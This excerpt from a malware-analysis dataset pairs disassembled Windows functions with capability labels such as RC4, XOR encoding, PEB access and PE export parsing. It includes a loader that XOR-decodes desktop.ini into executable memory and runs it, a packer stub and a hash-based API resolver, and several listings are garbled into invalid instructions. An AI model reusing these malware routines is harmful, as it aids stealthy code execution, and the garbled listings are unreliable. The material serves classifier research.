joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4c9cd0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0xa3da14]
xor edx, edx
cmp eax, edx
jne 0x4c9cf6
xor eax, eax
mov byte [eax + 0xa3d914], al
inc eax
cmp eax, 0x100
jl 0x4c9cde
mov dword [0xa3da14], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0xa3d914
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4c9d87
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4c9d5a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4c9d28
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x4c9d90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4c9de3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4c9dca
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4d07a0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x51efae
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.004d10c0
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0x972c84
call fcn.0050c8a5
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x4d0833
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.0050c8a5
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x4d082c
push 0
mov ecx, eax
call fcn.004c7910
mov dword [esi + 0xc], eax
jmp 0x4d0835
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x4d0835
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8
Function at 0x4e8764
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4e8784
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004e76ba
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x4e87a7
test byte [esp + 8], 2
je 0x4e87a7
call fcn.004e772d
mov dword [eax], 0xd
call fcn.004e7736
mov dword [eax], 5
jmp 0x4e8780
xor eax, eax
ret
Function at 0x502500
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x520920
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
mov al, byte [esp + 0x3c]
push ebx
xor ebx, ebx
push esi
mov esi, ecx
mov byte [esp + 0x10], al
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
mov ecx, dword [esp + 0x44]
push ebx
mov dword [esp + 0x40], ebx
mov byte [esp + 0x28], al
mov edx, dword [ecx]
lea ecx, [esp + 0x28]
mov dword [esp + 0x24], edx
call fcn.004f5293
mov eax, dword [0x977348]
lea ecx, [esp + 0x10]
push eax
push ebx
push ecx
lea ecx, [esp + 0x30]
call fcn.004f51c5
lea edx, [esp + 0x20]
lea eax, [esp + 8]
push edx
push eax
mov ecx, esi
mov byte [esp + 0x44], 1
call fcn.00502ff0
mov esi, dword [eax]
mov ecx, dword [eax + 4]
mov eax, dword [esp + 0x28]
cmp eax, ebx
mov dword [esp + 0xc], ecx
je 0x5025a7
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x50259e
cmp al, 0xff
je 0x50259e
dec al
mov byte [ecx], al
jmp 0x5025a7
push ecx
call fcn.0050c8ce
add esp, 4
mov eax, dword [esp + 0x14]
mov dword [esp + 0x28], ebx
cmp eax, ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
je 0x5025d8
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x5025cf
cmp al, 0xff
je 0x5025cf
dec al
mov byte [ecx], al
jmp 0x5025d8
push ecx
call fcn.0050c8ce
add esp, 4
mov ecx, dword [esp + 0x34]
lea eax, [esi + 0x10]
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x38
ret 4
Function at 0x50f01e
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x50f056
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0050d00b
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0050cfe3
jmp 0x50f062
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x510710
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x510752
call fcn.005166fe
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x510752
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x510749
xor eax, eax
jmp 0x51075a
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00510760
pop edi
pop esi
pop ebx
ret 4

Function at 0x516c2e
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x516c5c
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x516c7a
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00516b94
jmp 0x516c7a
mov eax, dword [esi + 0x14]
test eax, eax
je 0x516c7a
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00516b94
test edi, edi
mov eax, edi
jne 0x516c64
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x40e56b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
test ebx, 0xffff0000
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
jne 0x40e58b
cmp dword [edi + 0x54], 0
jne 0x40e58b
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.00416e02
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [esp + 0x18]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.0040e532
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
ret 8

Function at 0x40ea7a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
je 0x40eac0
call fcn.00416e02
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40eac0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [ebp - 4], eax
je 0x40eb03
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
je 0x40eaec
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x40eaec
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x40eb00
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x414691
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push esi
push edi
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x14], edi
mov ebp, ecx
je 0x4146d4
call fcn.00416e02
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x4146d4
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x4146ef
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
push ebx
mov ecx, ebp
call fcn.00414248
test ebx, ebx
mov esi, eax
je 0x4146ed
test edi, edi
je 0x4146ed
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret 4
Function at 0x4178d6
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x417904
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x417922
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00417840
jmp 0x417922
mov eax, dword [esi + 0x14]
test eax, eax
je 0x417922
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.00417840
test edi, edi
mov eax, edi
jne 0x41790c
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x45a91c]
test ecx, ecx
je 0x4179e5
jmp 0x4178d5
ret 8

Function at 0x426a31
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x45765c]
jne 0x426a3b
repz ret
jmp fcn.0042d3ec
Function at 0x438137
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0042ce3a
xor ebx, ebx
cmp dword [0x45b68c], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x43820c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x438177
xor eax, eax
jmp 0x4382d0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x44a980
push edi
call esi
cmp eax, ebx
je 0x438170
push eax
call fcn.0042cdd7
mov dword [esp], 0x44a970
push edi
mov dword [0x45b68c], eax
call esi
push eax
call fcn.0042cdd7
mov dword [esp], 0x44a95c
push edi
mov dword [0x45b690], eax
call esi
push eax
call fcn.0042cdd7
mov dword [0x45b694], eax
lea eax, [ebp - 8]
push eax
call fcn.004292d9
test eax, eax
pop ecx
pop ecx
je 0x4381da
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00426e35
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x43820c
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.0042cdd7
cmp eax, ebx
pop ecx
mov dword [0x45b69c], eax
je 0x43820c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0042cdd7
pop ecx
mov dword [0x45b698], eax
mov eax, dword [0x45b698]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x438285
cmp dword [0x45b69c], esi
je 0x438285
push eax
call fcn.0042ce43
pop ecx
call eax
cmp eax, ebx
je 0x438252
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x45b69c]
call fcn.0042ce43
pop ecx
call eax
test eax, eax
je 0x438252
test byte [ebp - 0x18], 1
jne 0x438285
lea eax, [ebp - 0xc]
push eax
call fcn.00429310
test eax, eax
pop ecx
je 0x43826d
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00426e35
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x43827c
or dword [ebp + 0x10], 0x200000
jmp 0x4382b6
or dword [ebp + 0x10], 0x40000
jmp 0x4382b6
mov eax, dword [0x45b690]
cmp eax, esi
je 0x4382b6
push eax
call fcn.0042ce43
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x4382b6
mov eax, dword [0x45b694]
cmp eax, esi
je 0x4382b6
push dword [ebp - 4]
push eax
call fcn.0042ce43
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x45b68c]
call fcn.0042ce43
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x43f1f9
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x45765c]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.0043f18e
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.00429620
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x43f248
cmp dword [ebp - 0x1c], 5
jb 0x43f260
jmp 0x43f25c
cmp dword [ebp - 0x10], 1
jne 0x43f260
cmp dword [ebp - 0x1c], 4
ja 0x43f25c
jne 0x43f260
cmp dword [ebp - 0x18], 0
jbe 0x43f260
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x44b364
call fcn.0043f07f
test eax, eax
jge 0x43f281
mov byte [0x458dac], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00426a31
add ebp, 0x78
leave
ret
Function at 0x43b638
Capabilities:
Encode data using xor

Disassembly:
sub esp, 4
mov dword [esp], 0x43b3c1
pop esi
sub eax, edi
mov edi, edi
sub eax, 0x5b4eca7b
call fcn.0043b678
sub eax, 0xc081382c
mov edi, eax
xor dword [ebx], esi
and edi, edi
sub edi, edi
dec edi
inc ebx
sub eax, 0xeca66383
cmp ebx, ecx
jne fcn.0043b638
sub edi, eax
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x431002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40915c
nop
mov ecx, 0x13636aac
nop
nop
test eax, eax
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x431024
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42f3f8
nop
mov ecx, 0x2fd4368c
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x431084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x401750
Capabilities:
Terminate process

Disassembly:
push ebp
sub ebp, esp
mov eax, dword [ebp + 8]
mov ecx, dword [sym.imp.MSVCRT.dll__iob]
push eax
add ecx, 0x40
sub dh, byte [edx + edx*8 + 0x55]
add byte [ecx + 0x74], dl
adc eax, sym.imp.MSVCRT.dll_atoi
mov eax, dword [0x4102ac]
add esp, 0xc
test dword [eax], esp
je 0x401796
push eax
push 0x2df954
call dword [0x401052]
add esp, 0xffffff9b
push 1
call dword [sym.imp.MSVCRT.dll_exit]
nop
push ebp
mov ebp, esp
sub esp, 0xbb
mov eax, dword [0xf2d878]
add byte [eax], al
add byte [ecx + 0xf2d878], ah
shl byte cs:[ecx + 0x41404c], 0x74
adc al, 0x68
inc eax
push esi
inc ecx
add byte [eax - 0x18], dl
sahf
inc eax
test dword [eax], eax
mov bp, word [ebp - 0x65dcfd8c]
jmp 0x4017cf
mov dword [0x60411808], eax
mov eax, dword [0x41028e]
or eax, 0x64358b56
rol dword [eax], 0xc4
mov dword [0xe9410bb4], ecx
test eax, eax
push edi
xor bl, byte [ebp - 0x75]
sbb eax, dword [eax]
sbb byte [ecx], al
push edx
push 0x740d4a8
call esi
mov eax, dword [0x84d30278]
add esp, 8
test dword [ebx], ebp
je 0x40181c
mov eax, dword [0x800274]
push eax
push 0x413c40
push 0x4afa84
call esi
add esp, 0x5c
mov eax, dword [0x40d014]
test dword [ebx + 0x40b7bdb8], edx
invalid

Function at 0x404a60
Capabilities:
Resolve function by parsing pe exports

Disassembly:
fst qword [ecx + 0x42]
wait
fsub dword [edi + ecx + 0x7f]
fisttp dword [ebx - 0x146fefae]
or dword [esi], eax
mov dword [0xb289ff50], eax
mov dword [edx - 0x74cb8cdb], esi
inc edx
cmp al, 0xeb
or eax, 0xe895f382
xchg ebp, eax
call 0x8b851782
invalid
invalid
xchg ah, cl
invalid
add eax, edx
push edi
mov eax, dword [eax + 0x78]
nop
test eax, eax
jmp 0x404a90
je 0x404c78
jmp 0x404aa5
add eax, edx
jmp 0x404ab4
push eax
mov ecx, dword [eax + 0x18]
nop
jmp 0x404aca
mov ebx, dword [eax + 0x20]
add ebx, edx
jmp 0x404ae0
test ecx, ecx
nop
jmp 0x404af3
je 0x404c77
nop
xor edi, edi
nop
jmp 0x404b0e
dec ecx
nop
jmp 0x404b1e
mov esi, dword [ebx + ecx*4]
nop
jmp 0x404b2e
add esi, edx
jmp 0x404b3e
nop
xor eax, eax
jmp 0x404b4f
ror edi, 0xd
jmp 0x404b62
lodsb al, byte [esi]
nop
add edi, eax
cmp al, ah
jne 0x404b3e
nop
jmp 0x404b7f
add edi, dword [ebp - 8]
nop
jmp 0x404b91
cmp edi, dword [ebp + 0x24]
jmp 0x404b9f
jne 0x404ae0
nop
jmp 0x404bb0
nop
jmp 0x404bbd
pop eax
nop
mov ebx, dword [eax + 0x24]
jmp 0x404bce
add ebx, edx
nop
mov cx, word [ebx + ecx*2]
nop
jmp 0x404be0
mov ebx, dword [eax + 0x1c]
add ebx, edx
mov eax, dword [ebx + ecx*4]
jmp 0x404bf7
add eax, edx
jmp 0x404c03
mov dword [esp + 0x24], eax
jmp 0x404c18
pop ebx
nop
jmp 0x404c2a
pop ebx
popal
nop
jmp 0x404c3d
pop ecx
nop
jmp 0x404c52
pop edx
jmp 0x404c65
push ecx
nop
jmp 0x404c75
jmp eax
pop eax
pop edi
pop edx
nop
jmp 0x404c8b
mov edx, dword [edx]
nop
jmp 0x4049d2
Function at 0x406222
Capabilities:
Get socket status

Disassembly:
inc esi
jnp 0x406228
test edx, edx
sahf
jge 0x406221
clc
jbe 0x406240
mov esi, dword [eax + 0x301c]
add esi, 0x1e
cmp ebp, edx
je 0x40624e
inc ebp
add esi, 0x14
cmp ecx, edx
jb 0x40628c
pop edi
pop esi
mov eax, 0x5f118e
pop ebx
sub al, 0xbc
push cs
ret 8
mov ebx, ecx
inc ecx
mov al, 0x72
invalid
mov dword [ebp - 0x5a], edx
mov ecx, dword [eax + 0xb23052]
mov edx, dword [ebp + 0xc]
mov edx, dword [edx + 0xc]
lea ebp, [esi + 0xf]
cmp edx, dword [esi + 0xc]
jne 0x406288
jb 0x40624e
leave
cmp bl, ch
adc byte [ebp - 0x1746f4c4], cl
add al, 0
jnp 0x406284
lea edi, [ebx + ecx]
mov ecx, 0x7b0004e8
rep movsd dword es:[edi], dword [esi]
call 0xf3bb6295
movsd dword es:[edi], dword [esi]
mov cl, 0x7d
or byte [ebx + 0x4d8b14c3], al
cld
or edx, 0x14
dec ecx
arpl word [ebp + 8], di
mov dword [ebp - 4], ecx
jne 0x40626f
mov edi, dword [ebp - 8]
mov edx, dword [eax + 0xc]
xor ecx, ecx
test edx, edx
jbe 0x4062e1
lea esi, [eax + 0x10]
arpl word [esi], di
je 0x40626c
inc ecx
rol dh, cl
add al, 0x3b
les ebx, [ebx]
hlt
adc dword [eax + 0xc410], 0xd285e005
jbe 0x406327
aam 0xb0
adc al, 0x10
xor eax, 0x743e3900
jne 0x406339
sbb dword [ecx - 0x7a], 0xfffffff6
retf 0xf472
adc byte [eax + 0x200c], 0x33
leave
test edx, edx
jbe 0x40636d
inc ebx
mov al, 0x18
and byte [eax], al
add byte [ecx], bh
jno 0x4063b0
cmp dword [ecx + 0x74], esi
or al, byte [ecx + 0x75]
invalid
hlt
mov edi, dword [ebx]
jbe 0x406344
add byte [ebx + edi - 7], ah
jne 0x4063e0
test ecx, ecx
wait
pop es
dec ecx
mov dword [eax + 0x3018], ecx
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, esp
pop ebp
ret 8
or byte [esi + 0x57], dl
mov eax, dword [ebx + 4]
test eax, eax
jne 0x4063ce
xchg byte [ebp + 0x14], al
pop edi
fcomp dword [ebx - 0x39]
add byte [eax], al
add byte [eax], al
add byte [ebx], dh
ror byte [ebx + 0x14c25de5], 0
mov esp, dword [eax + edx - 0x7af38275]
idiv byte [edi - 0x72]
jl 0x4063de
test edi, edi
jae 0x4063e2
invalid
jmp 0x406407
push 0
push 0x910f42d5
push esi
push edi
call 0xecb52e
push 0
push 0x9fc140
inc eax
push edi
mov dword [ebp - 0x14], eax
call 0xd6b750
mov dword [ebp - 0x10], eax
lea edx, [edi]
bound edi, qword [ecx + 0x401]
mov ecx, 0x401
lea esi, [ebx + 0xc]
lea edi, [ebp + 0x6a7cdfe4]
push eax
sub byte [ebp + 0x4016a], ah
add ah, ah
mov edx, 0xee1010
lea edi, [ebp - 0x1018]
lea edx, [ebp - 0xc5102d]
rep movsd dword es:[edi], dword [esi]
mov dword [ecx], eax
add al, 0x65
add byte [ebp + 0x2014b3], cl
add byte [ebp - 0x301f43], cl
inc edi
lea eax, [ebp - 0x201c]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x3020]
push ecx
mov esi, ebp
lcall 0x50d0, 0x5200ce30
push ecx
call dword [sym.imp.WSOCK32.dll_select]
mov edx, dword [ebp + 0x14]
invalid
Function at 0x401388
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
lea edx, [ecx + 0x18]
add edx, eax
movzx eax, word [ecx + 6]
imul esi, eax, 0x28
add esi, edx
jmp 0x4013bd
mov ecx, dword [edx + 0xc]
cmp dword [ebp + 0xc], ecx
jb 0x4013ba
mov eax, dword [edx + 8]
add eax, ecx
cmp dword [ebp + 0xc], eax
jb 0x4013c6
add edx, 0x28
cmp edx, esi
jne 0x4013a8
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 0x4013c3

Function at 0x40180b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40184a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40184a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40184a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40184a
cmp dword [ecx + 0x74], 0xe
jbe 0x40184a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret